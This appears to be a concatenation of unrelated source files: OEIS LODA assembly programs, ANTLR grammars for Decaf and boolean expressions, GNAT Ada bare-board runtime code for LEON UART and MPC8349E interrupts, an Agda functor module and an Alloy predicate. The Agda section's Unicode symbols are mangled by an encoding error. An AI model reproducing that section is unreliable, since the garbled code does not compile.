; 8,20,52,132,340,868,2228,5700,14612,37412,95860,245508,628948,1610980,4126772,10570692,27077780,69360548,177671668,455113860,1165800532,2986255972,7649458100,19594481988,50192314388,128570242340,329339499892,843620469252,2160978468820,5535460345828,14179374221108,36321215604420,93038712488852,238323574906532,610478424861940,1563772724488068,4005686423935828,10260777321888100,26283523017631412,67326632305183812,172460724375709460,441767253596444708,1131610151099282548,2898679165485061380,7425119769882191572,19019836431822437092,48720315511351203380,124799661238640951748,319680923284045765268,818879568238609572260,2097603261374792633332,5373121534329230922372,13763534579828401455700,35256020717145325145188,90310159036458930967988,231334241905040231548740,592574878050875955420692,1517911845671036881615652,3888211357874540703298420,9959858740558688229761028,25512704172056851042954708,65352139134291603961998820,167402955822519008133817652,428811512359685423981812932,1098423335649761456517083540,2813669385088503152444335268,7207362727687548978512669428,18462040268041561588290010500,47291491178791757502340688212,121139652250958003855500730212,310305616966125033864863483060,794864225969957049286866403908,2036086693834457184746320336148,5215543597714285381893785951780,13359890373052114120879067296372,34222064763909255648454211103492,87661626256117712131970480288980,224549885311754734725787324702948,575196390336225583253669245858868,1473395931583244522156818544670660,3774181492928146855171495528106132,9667765219261124943798769706788772,24764491190973712364484751819213300,63435552068018212139679830646368388,162493516831913061597618837923221588,416235725103985910156338160508695140
add $0,1
seq $0,204707 ; Number of (n+1) X 3 0..1 arrays with the permanents of all 2 X 2 subblocks equal and nonzero.
div $0,4
|
skeleton/src/decaf/Decaf.g4 | schamp/compiler | 0 | 6305 | grammar Decaf;
options
{
language='Java';
}
BOOLEAN : 'boolean' ;
BREAK : 'break' ;
CALLOUT : 'callout' ;
CLASS : 'class' ;
CONTINUE : 'continue' ;
ELSE : 'else' ;
FALSE : 'false' ;
FOR : 'for' ;
IF : 'if' ;
INT : 'int' ;
RETURN : 'return' ;
TRUE : 'true' ;
VOID : 'void' ;
LCURLY : '{' ;
RCURLY : '}' ;
COMMA : ',' ;
SEMICOLON : ';' ;
LBRACKET : '[' ;
RBRACKET : ']' ;
LPAREN : '(' ;
RPAREN : ')' ;
// strictly speaking form feed \f (0xC) is not in the Decaf grammar
// but the errors it was producing were hard to handle with our tests
// since we're not likely to use or encounter it in the real world,
// let's make life easy by just considering it whitespace.
WS_ : ( ' ' | '\t' | '\n' | '\f' ) { skip(); } ;
SL_COMMENT : '//' ( ~'\n' )* '\n' { skip(); } ;
INT_LITERAL : HEX_LITERAL | DECIMAL_LITERAL ;
CHAR_LITERAL : '\'' (CHAR) '\'' ;
STRING_LITERAL : '"' (CHAR)* '"' ;
fragment
ESC : '\\' ('n'|'t'|'\\'|'"'|'\'') ;
// these must be hex, not octal!
fragment
CHAR: '\u0020'..'\u0021'
| '\u0023'..'\u0026'
| '\u0028'..'\u005B'
| '\u005D'..'\u007E'
| ESC
;
fragment
DECIMAL_LITERAL : DIGIT+;
fragment
HEX_LITERAL : '0x' HEX_DIGIT+ ;
fragment
HEX_DIGIT : ( DIGIT | [a-fA-F] ) ;
fragment
DIGIT : [0-9] ;
fragment
ALPHA : [a-zA-Z] ;
fragment
ALPHA_NUM : ALPHA | DIGIT ;
IDENTIFIER : ( ALPHA | '_' ) ( ALPHA_NUM | '_' )* ;
MINUS : '-' ;
PLUS : '+' ;
TIMES : '*' ;
DIV : '/' ;
MOD : '%' ;
LT : '<' ;
GT : '>' ;
LTE : '<=' ;
GTE : '>=' ;
EQ : '==' ;
NEQ : '!=' ;
AND : '&&' ;
OR : '||' ;
EQUALS : '=' ;
PLUS_EQUALS : '+=' ;
MINUS_EQUALS : '-=' ;
NOT : '!' ;
/* parser rules */
program : CLASS IDENTIFIER LCURLY (fieldDecl)* (methodDecl)* RCURLY EOF ;
type : INT | BOOLEAN ;
fieldDeclItem : IDENTIFIER | IDENTIFIER LBRACKET INT_LITERAL RBRACKET ;
fieldDeclList : fieldDeclItem (COMMA fieldDeclItem)* ;
fieldDecl : type fieldDeclList SEMICOLON ;
paramItem : type IDENTIFIER ;
paramList : paramItem (COMMA paramItem)* ;
methodDecl : (type | VOID) IDENTIFIER LPAREN (paramList)? RPAREN block ;
block : LCURLY (varDecl)* (statement)* RCURLY ;
idList : IDENTIFIER (COMMA IDENTIFIER)* ;
varDecl : type idList SEMICOLON ;
statement : location ( EQUALS | PLUS_EQUALS | MINUS_EQUALS ) expr SEMICOLON # AssignStmt
| methodCall SEMICOLON # MethodCallStmt
| IF LPAREN expr RPAREN block (ELSE block)? # IfStmt
| FOR IDENTIFIER EQUALS expr COMMA expr block # ForStmt
| RETURN (expr)? SEMICOLON # ReturnStmt
| BREAK SEMICOLON # BreakStmt
| CONTINUE SEMICOLON # ContinueStmt
| block # BlockStmt
;
expr : methodCall # MethodCallExpr
| location # LocationExpr
| literal # LiteralExpr
| LPAREN expr RPAREN # ParenExpr
| ( MINUS | NOT ) expr # UnaryExpr
| expr (TIMES | DIV | MOD ) expr # AddExpr
| expr ( PLUS | MINUS ) expr # AddExpr
| expr (LT | LTE | GT | GTE | EQ | NEQ ) expr # CompExpr
| expr AND expr # BoolExpr
| expr OR expr # BoolExpr
;
literal : INT_LITERAL # IntLiteral
| CHAR_LITERAL # CharLiteral
| STRING_LITERAL # StringLiteral
| (TRUE | FALSE) # BoolLiteral
;
location: IDENTIFIER LBRACKET expr RBRACKET # IdArrayLocation
| IDENTIFIER # IdLocation
;
methodCall: IDENTIFIER LPAREN ( exprList )* RPAREN
| CALLOUT LPAREN STRING_LITERAL (COMMA exprList)* RPAREN
;
exprList : expr (COMMA expr)* ;
|
bb-runtimes/src/s-textio__leon.adb | JCGobbi/Nucleo-STM32G474RE | 0 | 29624 | ------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME COMPONENTS --
-- --
-- S Y S T E M . T E X T _ I O --
-- --
-- B o d y --
-- --
-- Copyright (C) 1992-2016, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
with System.BB.Board_Parameters;
package body System.Text_IO is
-----------
-- Local --
-----------
type Scaler_12 is mod 2 ** 12;
for Scaler_12'Size use 12;
type Reserved_20 is array (0 .. 19) of Boolean;
for Reserved_20'Size use 20;
pragma Pack (Reserved_20);
type Reserved_23 is array (0 .. 22) of Boolean;
for Reserved_23'Size use 23;
pragma Pack (Reserved_23);
type Reserved_24 is array (0 .. 23) of Boolean;
for Reserved_24'Size use 24;
pragma Pack (Reserved_24);
type Reserved_25 is array (0 .. 24) of Boolean;
for Reserved_25'Size use 25;
pragma Pack (Reserved_25);
UART_1_Data_Register_Address :
constant System.Address := 16#80000070#;
UART_1_Status_Register_Address :
constant System.Address := 16#80000074#;
UART_1_Control_Register_Address :
constant System.Address := 16#80000078#;
UART_1_Scaler_Register_Address :
constant System.Address := 16#8000007C#;
type UART_Data_Register is
record
RTD : Character;
Reserved : Reserved_24;
end record;
for UART_Data_Register use
record
RTD at 0 range 24 .. 31;
Reserved at 0 range 0 .. 23;
end record;
for UART_Data_Register'Size use 32;
pragma Suppress_Initialization (UART_Data_Register);
type UART_Status_Register is
record
DR : Boolean;
TS : Boolean;
TH : Boolean;
BR : Boolean;
OV : Boolean;
PE : Boolean;
FE : Boolean;
Reserved : Reserved_25;
end record;
for UART_Status_Register use
record
DR at 0 range 31 .. 31;
TS at 0 range 30 .. 30;
TH at 0 range 29 .. 29;
BR at 0 range 28 .. 28;
OV at 0 range 27 .. 27;
PE at 0 range 26 .. 26;
FE at 0 range 25 .. 25;
Reserved at 0 range 0 .. 24;
end record;
for UART_Status_Register'Size use 32;
pragma Suppress_Initialization (UART_Status_Register);
type UART_Control_Register is
record
RE : Boolean;
TE : Boolean;
RI : Boolean;
TI : Boolean;
PS : Boolean;
PE : Boolean;
FL : Boolean;
LB : Boolean;
EC : Boolean;
Reserved : Reserved_23;
end record;
for UART_Control_Register use
record
RE at 0 range 31 .. 31;
TE at 0 range 30 .. 30;
RI at 0 range 29 .. 29;
TI at 0 range 28 .. 28;
PS at 0 range 27 .. 27;
PE at 0 range 26 .. 26;
FL at 0 range 25 .. 25;
LB at 0 range 24 .. 24;
EC at 0 range 23 .. 23;
Reserved at 0 range 0 .. 22;
end record;
for UART_Control_Register'Size use 32;
pragma Suppress_Initialization (UART_Control_Register);
type UART_Scaler_Register is
record
UART_Scaler : Scaler_12;
Reserved : Reserved_20;
end record;
for UART_Scaler_Register use
record
UART_Scaler at 0 range 20 .. 31;
Reserved at 0 range 0 .. 19;
end record;
for UART_Scaler_Register'Size use 32;
pragma Suppress_Initialization (UART_Scaler_Register);
UART_1_Data : UART_Data_Register;
pragma Atomic (UART_1_Data);
for UART_1_Data'Address use UART_1_Data_Register_Address;
UART_1_Status : UART_Status_Register;
pragma Atomic (UART_1_Status);
for UART_1_Status'Address use UART_1_Status_Register_Address;
UART_1_Control : UART_Control_Register;
pragma Atomic (UART_1_Control);
for UART_1_Control'Address use UART_1_Control_Register_Address;
UART_1_Scaler : UART_Scaler_Register;
pragma Atomic (UART_1_Scaler);
for UART_1_Scaler'Address use UART_1_Scaler_Register_Address;
---------
-- Get --
---------
function Get return Character is
begin
-- Will never be called
raise Program_Error;
return ASCII.NUL;
end Get;
----------------
-- Initialize --
----------------
procedure Initialize is
Control_Aux : UART_Control_Register;
Scaler_Aux : UART_Scaler_Register;
begin
Control_Aux := UART_1_Control;
Scaler_Aux :=
(UART_Scaler =>
Scaler_12 ((System.BB.Board_Parameters.Clock_Frequency * 10
/ (115200 * 8) - 5) / 10),
Reserved => (others => False));
Control_Aux.RE := True;
Control_Aux.TE := True;
Control_Aux.RI := False;
Control_Aux.PE := False;
Control_Aux.PS := False;
Control_Aux.FL := False;
Control_Aux.LB := False;
Control_Aux.EC := False;
Control_Aux.Reserved := (others => False);
UART_1_Control := Control_Aux;
UART_1_Scaler := Scaler_Aux;
Initialized := True;
end Initialize;
-----------------
-- Is_Rx_Ready --
-----------------
function Is_Rx_Ready return Boolean is
begin
return False;
end Is_Rx_Ready;
-----------------
-- Is_Tx_Ready --
-----------------
function Is_Tx_Ready return Boolean is
UART_Status_Aux : constant UART_Status_Register := UART_1_Status;
begin
return UART_Status_Aux.TH;
end Is_Tx_Ready;
---------
-- Put --
---------
procedure Put (C : Character) is
UART_Tx : constant UART_Data_Register :=
(RTD => C, Reserved => (others => False));
begin
UART_1_Data := UART_Tx;
end Put;
----------------------------
-- Use_Cr_Lf_For_New_Line --
----------------------------
function Use_Cr_Lf_For_New_Line return Boolean is
begin
return True;
end Use_Cr_Lf_For_New_Line;
end System.Text_IO;
|
benchmark/misc/Functor.agda | cruhland/agda | 1,989 | 4803 | <filename>benchmark/misc/Functor.agda
module Functor where
record IsEquivalence {A : Set} (_โ_ : A โ A โ Set) : Set where
field
refl : โ {x} โ x โ x
sym : โ {i j} โ i โ j โ j โ i
trans : โ {i j k} โ i โ j โ j โ k โ i โ k
record Setoid : Setโ where
infix 4 _โ_
field
Carrier : Set
_โ_ : Carrier โ Carrier โ Set
isEquivalence : IsEquivalence _โ_
open IsEquivalence isEquivalence public
infixr 0 _โถ_
record _โถ_ (From To : Setoid) : Set where
infixl 5 _โจ$โฉ_
field
_โจ$โฉ_ : Setoid.Carrier From โ Setoid.Carrier To
cong : โ {x y} โ
Setoid._โ_ From x y โ Setoid._โ_ To (_โจ$โฉ_ x) (_โจ$โฉ_ y)
open _โถ_ public
id : โ {A} โ A โถ A
id = record { _โจ$โฉ_ = ฮป x โ x; cong = ฮป xโy โ xโy }
infixr 9 _โ_
_โ_ : โ {A B C} โ B โถ C โ A โถ B โ A โถ C
f โ g = record
{ _โจ$โฉ_ = ฮป x โ f โจ$โฉ (g โจ$โฉ x)
; cong = ฮป xโy โ cong f (cong g xโy)
}
_โจ_ : (To From : Setoid) โ Setoid
From โจ To = record
{ Carrier = From โถ To
; _โ_ = ฮป f g โ โ {x y} โ x โโ y โ f โจ$โฉ x โโ g โจ$โฉ y
; isEquivalence = record
{ refl = ฮป {f} โ cong f
; sym = ฮป fโผg xโผy โ To.sym (fโผg (From.sym xโผy))
; trans = ฮป fโผg gโผh xโผy โ To.trans (fโผg From.refl) (gโผh xโผy)
}
}
where
open module From = Setoid From using () renaming (_โ_ to _โโ_)
open module To = Setoid To using () renaming (_โ_ to _โโ_)
record Functor (F : Setoid โ Setoid) : Setโ where
field
map : โ {A B} โ (A โจ B) โถ (F A โจ F B)
identity : โ {A} โ
let open Setoid (F A โจ F A) in
map โจ$โฉ id โ id
composition : โ {A B C} (f : B โถ C) (g : A โถ B) โ
let open Setoid (F A โจ F C) in
map โจ$โฉ (f โ g) โ (map โจ$โฉ f) โ (map โจ$โฉ g)
|
programs/oeis/092/A092763.asm | neoneye/loda | 22 | 27608 | <filename>programs/oeis/092/A092763.asm
; A092763: a(n) = floor(3^n / n).
; 3,4,9,20,48,121,312,820,2187,5904,16104,44286,122640,341640,956593,2690420,7596480,21523360,61171656,174339220,498112057,1426411800,4093181688,11767897353,33891544377,97764070320,282429536481,817028301962,2366564736720,6863037736488,19924948267224,57906880901620,168456380804712,490505344107840,1429472717114277,4169295424916642,12169835294351280,35548729412447160,103911670590230160,303941636476423220,889585277491970400,2605214026940770457,7633882962663652968,22381156867809346201,65651393478907415525,192672567818532632520,565719454445904325272,1661800897434843955486,4883659780216684277348,14357959753837051775404,42229293393638387574720,124251574792820640364081,365721616371321130128240,1076846981537778883155373,3171803836529457801294009,9345493446917152450241277,27544612264597923011237448,81209115469762841981406960,239498069351503974657030696,706519304586936725238240553,2084811062715550992506283600,6153555233499126316591127400,18167639260806944363269042800,53651309692070507572778892020,158477714782731345445746881043,468229611858069884271524875811,1383723330565639359488983961352,4090123374171963400842437885761,12092538671464935272055903314424,35759364357046308590222456944083,105767134013798940900657971243064,312894438124155200164446498260731,925824638833116756650964981155040,2739940485195304996034612579364240,8110223836178102788262453234918150,24010531093948330623145420761270841,71096118044418433533469557578827944,210553888054623822387582920521913529,623665946895974359983473460786427416
add $0,1
mov $1,3
pow $1,$0
div $1,$0
mov $0,$1
|
alloy4fun_models/trashltl/models/5/Yb775P2uDGfRqicYf.als | Kaixi26/org.alloytools.alloy | 0 | 683 | <reponame>Kaixi26/org.alloytools.alloy
open main
pred idYb775P2uDGfRqicYf_prop6 {
all f : File | f in Trash => always f in Trash
}
pred __repair { idYb775P2uDGfRqicYf_prop6 }
check __repair { idYb775P2uDGfRqicYf_prop6 <=> prop6o } |
src/main/antlr4/com/github/rifttech/antlr4/Grammar.g4 | rifttech/boolean-expression-evaluator | 0 | 3259 | <filename>src/main/antlr4/com/github/rifttech/antlr4/Grammar.g4<gh_stars>0
grammar Grammar;
parse
: expression EOF
;
expression
: LPAREN expression RPAREN #parenExpression
| NOT expression #notExpression
| left=expression op1=binary_set_1 right=expression #binaryExpression
| left=expression op2=binary_set_2 right=expression #binaryExpression
| left=expression op3=binary_set_3 right=expression #binaryExpression
| bool #boolExpression
| IDENTIFIER #identifierExpression
;
binary_set_1
: AND | NAND
;
binary_set_2
: OR | NOR | XOR
;
binary_set_3
: XNOR | IMPL | CIMPL | NIMPL | CNIMPL
;
bool
: TRUE | FALSE
;
TRUE : 'TRUE';
FALSE : 'FALSE';
NOT : 'NOT';
AND : 'AND' ;
NAND : 'NAND';
OR : 'OR' ;
NOR : 'NOR';
XNOR : 'XNOR';
XOR : 'XOR';
IMPL : 'IMPL';
CIMPL : 'CIMPL';
CNIMPL : 'CNIMPL';
NIMPL : 'NIMPL';
LPAREN : '(' ;
RPAREN : ')' ;
IDENTIFIER : [A-Z];
WS : [ \r\t\u000C\n]+ -> skip; |
bb-runtimes/src/s-bbbosu__8349e.adb | JCGobbi/Nucleo-STM32G474RE | 0 | 3876 | <reponame>JCGobbi/Nucleo-STM32G474RE<gh_stars>0
------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME LIBRARY (GNARL) COMPONENTS --
-- --
-- S Y S T E M . B B . B O A R D _ S U P P O R T --
-- --
-- B o d y --
-- --
-- Copyright (C) 1999-2002 Universidad Politecnica de Madrid --
-- Copyright (C) 2003-2005 The European Space Agency --
-- Copyright (C) 2003-2016, AdaCore --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
-- The port of GNARL to bare board targets was initially developed by the --
-- Real-Time Systems Group at the Technical University of Madrid. --
-- --
------------------------------------------------------------------------------
with Interfaces; use Interfaces;
with System.BB.Board_Parameters; use System.BB.Board_Parameters;
with System.BB.Parameters;
with System.BB.Protection;
package body System.BB.Board_Support is
-- Mapping between priorities and interrupt source.
-- HPI is not used; MIXA, MIXB, SYSA, SYSD groups are grouped.
-- All external and internal interrupts are routed to /int.
-- Interrupt ipp_ind_ext_int[0] is configured as an external maskable
-- interrupt (See initialization of SEMSR).
-- MCP interrupts are not handled by the runtime.
-- External IRQ interrupts are configured as level sensitive.
-- Here is the table between IPIC priority and Interrupt source. This is
-- extracted from Table 8-28, using the fact that only grouped scheme are
-- used. Interrupt_ID is the interrupt number for the IPIC, which according
-- to Table 8-6 is also the interrupt vector, which by definition is also
-- the Ada Interrupt_ID.
-- Priority Interrupt source Interrupt_ID
-- 1 (HPI)
-- 2 MIXA0 ipi_int_internal[32] 64
-- 3 MIXA1 ipi_int_internal[33] 65
-- 4 MIXA2 ipi_int_internal[34] 66
-- 5 MIXA3 ipi_int_internal[35] 67
-- 6 (MIXB0 - Spread)
-- 7-10 (Reserved)
-- 11 (MIXA1 - Spread)
-- 12-15 (Reserved)
-- 16 MIXB0 RTC ALR 68
-- 17 MIXB1 MU 69
-- 18 MIXB2 SBA 70
-- 19 MIXB3 DMA 71
-- 20 (MIXB1 - Spread)
-- 21 SYSA0 TSEC1 Tx 32
-- 22 SYSA1 TSEC1 Rx 33
-- 23 SYSA2 TSEC1 Err 34
-- 24 SYSA3 TSEC2 Tx 35
-- 25 (MIXA2 - Spread)
-- 26 SYSA4 TSEC2 Rx 36
-- 27 SYSA5 TSEC2 Err 37
-- 28 SYSA6 USB DR 38
-- 29 SYSA7 USB MPH 39
-- 30 MIXA4 ipp_ind_ext_int[0] 48
-- 31 MIXA5 ipp_ind_ext_int[1] 17
-- 32 MIXA6 ipp_ind_ext_int[2] 18
-- 33 MIXA7 ipp_ind_ext_int[3] 19
-- 34 (MIXB2 - Spread)
-- 35-38 (Reserved)
-- 39 (MIXA3 - Spread)
-- 40-43 (Reserved)
-- 44 MIXB4 IRQ4 20
-- 45 MIXB5 IRQ5 21
-- 46 MIXB6 IRQ6 22
-- 47 MIXB7 IRQ7 23
-- 48 (MIXB3 - Spread)
-- 49 SYSD0 UART1 9
-- 50 SYSD1 UART2 10
-- 51 SYSD2 SEC 11
-- 52 (SYSD3 - Reserved)
-- 53 (MIXA4 - Spread)
-- 54 (SYSD4 - Reserved)
-- 55 SYSD5 I2C1 14
-- 56 SYSD6 I2C2 15
-- 57 SYSD7 SPI 16
-- 58 (MIXB4 - Spread)
-- 59 GTM4 72
-- 60 (Reserved)
-- 61 (SYSA0 - Spread)
-- 62 GTM8 73
-- 63 (Reserved)
-- 64 (SYSD0 - Spread)
-- 65 (Reserved)
-- 66 GPIO1 74
-- 67 (MIXA5 - Spread)
-- 68 GPIO2 75
-- 69 (Reserved)
-- 70 (SYSA1 - Spread)
-- 71 DDR 76
-- 72 (Reserved)
-- 73 (SYSD1 - Spread)
-- 74 (Reserved)
-- 75 LBC 77
-- 76 (MIXB5 - Spread)
-- 77 GTM2 78
-- 78 (Reserved)
-- 79 (SYSA2 - Spread)
-- 80 GTM6 79
-- 81 (Reserved)
-- 82 (SYSD2 - Spread)
-- 83 (Reserved)
-- 84 PMC 80
-- 85 (MIXA6 - Spread)
-- 86 (Reserved)
-- 87 (Reserved)
-- 88 (SYSA3 - Spread)
-- 89 (Reserved)
-- 90 (Reserved)
-- 91 (SYSD3 (Spread))
-- 92 (Reserved)
-- 93 (Reserved)
-- 94 (MIXB6 (Spread))
-- 95 GTM3 84
-- 96 (Reserved)
-- 97 (SYSA4 (Spread))
-- 98 GTM7 85
-- 99 (Reserved)
-- 100 (SYSD4 - Spread)
-- 101 (Reserved)
-- 102 (Reserved)
-- 103 (MIXA7 - Spread)
-- 104 (Reserved)
-- 105 (Reserved)
-- 106 (SYSA5 - Spread)
-- 107 (Reserved)
-- 108 (Reserved)
-- 109 (SYSD5 - Spread)
-- 110 (Reserved)
-- 111 (Reserved)
-- 112 (MIXB7 - Spread)
-- 113 GTM1 90
-- 114 (Reserved)
-- 115 (SYSA6 - Spread)
-- 116 GTM5 91
-- 117 (Reserved)
-- 118 (SYSD6 - Spread)
-- 119 (Reserved)
-- 120 (Reserved)
-- 121 (Reserved)
-- 122 (Reserved)
-- 123 (SYSA7 - Spread)
-- 124 (Reserved)
-- 125 (Reserved)
-- 126 (SYSD7 - Spread)
-- 127 (Reserved)
-- 128 (Reserved)
procedure Define_Interrupt_Priority
(Interrupt : System.BB.Interrupts.Interrupt_ID;
Priority : Interrupt_Priority;
Mask_Bit : Natural);
pragma Export (Ada, Define_Interrupt_Priority,
"__gnat_define_interrupt_priority");
-- This is a user service to define the priority of interrupts and its
-- corresponding mask bit. It can be called at most once per interrupt.
use System.BB.Interrupts;
subtype Mask_Bit_Number is Natural range 0 .. 95;
-- Bit number in the SIMSR_H/SIMSR_L/SEMSR registers. Bit numbers 0 to 31
-- means bit 0 (MSB) to 31 (LSB) of SIMSR_H, bit numbers 32 to 63 means
-- bit 0 (MSB) to 31 (LSB) of SIMSR_L, and bit numbers 64 to 95 means
-- bit 0 (MSB) to 31 (LSB) of SEMSR.
type Interrupt_Priorities_Type is
array (System.BB.Interrupts.Interrupt_ID
range 0 .. System.BB.Parameters.Number_Of_Interrupt_ID - 1)
of Any_Priority;
-- Type for the interrupt to priority map
Interrupt_Priorities : Interrupt_Priorities_Type := (others => 0);
-- Map that associate an interrupt id with its priority
type Priority_Mask is record
SIMSR_H : Unsigned_32;
-- SIMSR_H value
SIMSR_L : Unsigned_32;
-- SIMSR_L value
SEMSR : Unsigned_32;
-- SEMSR value
end record;
type Priority_Mask_Map_Type is
array (Priority'Last .. Interrupt_Priority'Last) of Priority_Mask;
-- Interrupt mask values for each interrupt priority and for non-interrupt
-- priorities (Priority'Last is used for that case).
Priority_Masks : Priority_Mask_Map_Type := (others => (0, 0, 0));
-- Mask for eash priority. Initially all interrupts are masked
SEMSR : Unsigned_32;
for SEMSR'Address use IMMRBAR + 16#0738#;
pragma Volatile (SEMSR);
pragma Import (Ada, SEMSR);
-- System External interrupt Mask Register
SIMSR_H : Unsigned_32;
for SIMSR_H'Address use IMMRBAR + 16#0720#;
pragma Volatile (SIMSR_H);
pragma Import (Ada, SIMSR_H);
-- System Internal interrupt Mask Register (High)
SIMSR_L : Unsigned_32;
for SIMSR_L'Address use IMMRBAR + 16#0724#;
pragma Volatile (SIMSR_L);
pragma Import (Ada, SIMSR_L);
-- System Internal interrupt Mask Register (Low)
----------------------
-- Initialize_Board --
----------------------
procedure Initialize_Board is
SICFR : Unsigned_32;
for SICFR'Address use IMMRBAR + 16#0700#;
pragma Volatile (SICFR);
pragma Import (Ada, SICFR);
SIPRR_A : Unsigned_32;
for SIPRR_A'Address use IMMRBAR + 16#0710#;
pragma Volatile (SIPRR_A);
pragma Import (Ada, SIPRR_A);
SIPRR_D : Unsigned_32;
for SIPRR_D'Address use IMMRBAR + 16#071C#;
pragma Volatile (SIPRR_D);
pragma Import (Ada, SIPRR_D);
SICNR : Unsigned_32;
for SICNR'Address use IMMRBAR + 16#0728#;
pragma Volatile (SICNR);
pragma Import (Ada, SICNR);
SMPRR_A : Unsigned_32;
for SMPRR_A'Address use IMMRBAR + 16#0730#;
pragma Volatile (SMPRR_A);
pragma Import (Ada, SMPRR_A);
SMPRR_B : Unsigned_32;
for SMPRR_B'Address use IMMRBAR + 16#0734#;
pragma Volatile (SMPRR_B);
pragma Import (Ada, SMPRR_B);
SECNR : Unsigned_32;
for SECNR'Address use IMMRBAR + 16#073C#;
pragma Volatile (SECNR);
pragma Import (Ada, SECNR);
begin
-- Initialize IPIC
-- At that point, all interrupts should be masked in the MSR
-- H M M I I H
-- P P P P P P
-- I S S S S E
-- B A D A T
SICFR := 2#0_0000000_0_0_0_0_0_00_0_000000_00_00000000#;
-- SYSA 0P 1P 2P 3P -- 4P 5P 6P 7P --
SIPRR_A := 2#000_001_010_011_0000_100_101_110_111_0000#;
-- SYSD 0P 1P 2P 3P -- 4P 5P 6P 7P --
SIPRR_D := 2#000_001_010_011_0000_100_101_110_111_0000#;
-- SYSD0T 1T SYSA0T 1T
SICNR := 2#00_00_000000000000_00000000_00_00_0000#;
-- SMPRR_A 0P 1P 2P 3P -- 4P 5P 6P 7P --
SMPRR_A := 2#000_001_010_011_0000_100_101_110_111_0000#;
-- SMPRR_B 0P 1P 2P 3P -- 4P 5P 6P 7P --
SMPRR_B := 2#000_001_010_011_0000_100_101_110_111_0000#;
-- MIXB0T 1T MIXA0T 1T EDI
SECNR := 2#00_00_0000_00_00_0000_00000000_00000000#;
-- Mask all interrupts, and steer ipp_ind_ext_int[0] as external
-- interrupt request.
SIMSR_H := 2#00000000_00000000_00000000_000_00_000#;
SIMSR_L := 2#00000000_00000000_0_000_00_0000_00_0000#;
SEMSR := 2#00000000_00000000_0_000000000000000#;
end Initialize_Board;
---------------------------
-- Clear_Alarm_Interrupt --
---------------------------
procedure Clear_Alarm_Interrupt is
begin
-- Nothing to do on standard powerpc
null;
end Clear_Alarm_Interrupt;
---------------------------
-- Get_Interrupt_Request --
---------------------------
function Get_Interrupt_Request
(Vector : CPU_Specific.Vector_Id) return Interrupt_ID
is
pragma Unreferenced (Vector);
SIVCR : Unsigned_32;
for SIVCR'Address use IMMRBAR + 16#0704#;
pragma Volatile (SIVCR);
pragma Import (Ada, SIVCR);
-- The SIVCR register contains the regular unmasked interrupt source
-- of the highest priority level.
begin
return System.BB.Interrupts.Interrupt_ID (SIVCR and 16#7F#);
end Get_Interrupt_Request;
-------------------------------
-- Install_Interrupt_Handler --
-------------------------------
procedure Install_Interrupt_Handler
(Handler : Address;
Interrupt : Interrupts.Interrupt_ID;
Prio : Interrupt_Priority)
is
pragma Unreferenced (Interrupt, Prio);
begin
CPU_Specific.Install_Exception_Handler
(Handler, CPU_Specific.External_Interrupt_Excp);
end Install_Interrupt_Handler;
---------------------------
-- Priority_Of_Interrupt --
---------------------------
function Priority_Of_Interrupt
(Interrupt : System.BB.Interrupts.Interrupt_ID) return System.Any_Priority
is
Result : constant Any_Priority := Interrupt_Priorities (Interrupt);
begin
-- The priority of an interrupt should be in the Interrupt_Priority
-- range. A failure indicates a spurious interrupt, or an interrupt
-- that was unmasked directly.
pragma Assert (Result in Interrupt_Priority);
return Result;
end Priority_Of_Interrupt;
----------------
-- Power_Down --
----------------
procedure Power_Down is
begin
null;
end Power_Down;
-----------------------------
-- Clear_Interrupt_Request --
-----------------------------
procedure Clear_Interrupt_Request
(Interrupt : System.BB.Interrupts.Interrupt_ID)
is
begin
-- Nothing to do for the IPIC
null;
end Clear_Interrupt_Request;
--------------------------
-- Set_Current_Priority --
--------------------------
procedure Set_Current_Priority (Priority : Integer) is
begin
-- Note that Priority cannot be the last one, as this procedure is
-- unable to disable the decrementer interrupt.
pragma Assert (Priority /= Interrupt_Priority'Last);
-- Must be called with MSR.IE set to 0, to avoid unprioritized
-- interrupt delivery.
if Priority < System.Interrupt_Priority'First then
SIMSR_H := Priority_Masks (System.Priority'Last).SIMSR_H;
SIMSR_L := Priority_Masks (System.Priority'Last).SIMSR_L;
SEMSR := Priority_Masks (System.Priority'Last).SEMSR;
else
SIMSR_H := Priority_Masks (Priority).SIMSR_H;
SIMSR_L := Priority_Masks (Priority).SIMSR_L;
SEMSR := Priority_Masks (Priority).SEMSR;
end if;
end Set_Current_Priority;
-------------------------------
-- Define_Interrupt_Priority --
-------------------------------
procedure Define_Interrupt_Priority
(Interrupt : System.BB.Interrupts.Interrupt_ID;
Priority : Interrupt_Priority;
Mask_Bit : Natural)
is
Mask : Unsigned_32;
-- Bit to set in the mask register
subtype Int32_Bit_Number is Natural range 0 .. 31;
-- Constrain the right operand of exponentiation so that the compiler
-- is able to replace it by a shift.
begin
-- Check the priority was never defined for this interrupt
